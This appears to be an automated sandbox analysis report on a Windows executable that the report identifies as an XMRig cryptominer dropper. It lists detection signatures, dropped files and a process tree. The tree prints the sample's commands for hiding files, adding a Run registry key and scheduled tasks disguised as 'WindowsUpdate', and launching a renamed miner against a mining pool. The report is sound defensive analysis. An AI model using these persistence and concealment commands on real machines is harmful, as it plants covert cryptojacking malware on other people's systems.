Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 16:03

General

  • Target
    fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
  • Size 16.8MB
  • Sample260925-ththnsfe28
  • SHA256 fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes a file named after a Windows system binary 1 TTPs 1 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 5 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Detect suspicious telegram bot 1 IoCs

    Detect suspicious telegram bot.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 7 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 11 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
    "C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe
      C:\Users\Admin\AppData\Local\Temp\fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4.exe --persist-worker
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1944
        • C:\Windows\system32\attrib.exe
          attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
          4⤵
          • Views/modifies file attributes
          PID:4492
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Windows\system32\attrib.exe
          attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
          4⤵
          • Views/modifies file attributes
          PID:5044
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Windows\system32\attrib.exe
          attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
          4⤵
          • Views/modifies file attributes
          PID:2168
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:4272
        • C:\Windows\system32\attrib.exe
          attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\"
          4⤵
          • Views/modifies file attributes
          PID:2084
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\system32\attrib.exe
          attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
          4⤵
          • Views/modifies file attributes
          PID:1708
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4872
        • C:\Windows\system32\reg.exe
          reg add \"HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" /v WindowsUpdate /t REG_SZ /d \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\" /f
          4⤵
            PID:4132
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1120
          • C:\Windows\system32\reg.exe
            reg delete \"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\" /v WindowsUpdate /f
            4⤵
              PID:3876
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3688
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn \"WindowsUpdate\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc onlogon /rl limited /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4128
          • C:\Windows\system32\cmd.exe
            cmd.exe /c "schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3040
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn \"WindowsUpdateHb\" /tr \"\\\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe\\\"\" /sc minute /mo 10 /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4548
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
          2⤵
          • Executes a file named after a Windows system binary
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1752
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe"
        1⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:728
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
          2⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of WriteProcessMemory
          PID:2336
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
            3⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:4396
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\""
              4⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3012
              • C:\Windows\system32\attrib.exe
                attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\"
                5⤵
                • Views/modifies file attributes
                PID:2632
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\""
              4⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3504
              • C:\Windows\system32\attrib.exe
                attrib +h +s +a \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe\"
                5⤵
                • Views/modifies file attributes
                PID:4248
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
            3⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1248

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            BootStrap.exe

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\BootStrap.exe
            • Size 16.8MB
            • SHA256 fc013adc72c129f13624d0d894f7016f1edcaeba58dbaef777e9bba1ad1c3aa4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RuntimeBroker.exe

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\RuntimeBroker.exe
            • Size 6.1MB
            • SHA256 ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1752-11-0x000002A03C7E0000-0x000002A03C800000-memory.dmp